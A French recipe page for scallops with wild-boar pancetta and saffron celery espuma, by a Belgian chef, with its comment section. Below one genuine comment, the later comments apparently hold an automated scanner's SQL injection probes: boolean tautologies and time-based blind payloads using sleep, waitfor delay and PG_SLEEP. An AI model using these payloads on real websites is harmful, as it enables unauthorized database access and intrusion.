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Catégorie : Les Recettes des Chefs

Saint-Jacques, pancetta de sanglier, espumas de céleri Safrané
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Saint-Jacques, pancetta de sanglier, espumas de céleri Safrané

Posté par LE SAFRAN Les Recettes des Chefs le 2017-02-15 15:57:02
Normal Préparation : 15 minutes Cuisson :
Jérémy LEBLEU, chef de partie au restaurant 1 étoile "L'Auberge du Moulin Hideux", en Belgique, vous propose en vidéo, une recette audacieuse mais simple à réaliser.

Ingrédients

-3 Saint-Jacques
-1 celeri boule
-1 celeri branche
- Du safran de " le safran, l'or rouge des Ardennes"
- Du beurre
- De la crème
- Du lait
- Sel/Poivre

Les étapes




N'hésitez pas à suivre Jérémy sur sa page Facebook https://www.facebook.com/AtelierCuisinedeJeremy ou encore sur la chaine Youtube : https://www.youtube.com/channel/UC83EF1NnPofip74uesDFMWw

Commentaires

Miam ! Commentaire par julien
Posté le 15/02/2017 16:25
ça donne envie !
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Posté le 27/02/2024 06:34
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Posté le 27/02/2024 06:35
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-1 OR 2+310-310-1=0+0+0+1 --
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-1 OR 2+146-146-1=0+0+0+1
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-1' OR 2+12-12-1=0+0+0+1 --
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-1' OR 2+780-780-1=0+0+0+1 or '4V6dTyCs'='
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-1" OR 2+830-830-1=0+0+0+1 --
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555*if(now()=sysdate(),sleep(15),0)
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5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
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5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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555-1; waitfor delay '0:0:15' --
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555-1); waitfor delay '0:0:15' --
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555-1 waitfor delay '0:0:15' --
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555-1 OR 695=(SELECT 695 FROM PG_SLEEP(15))--
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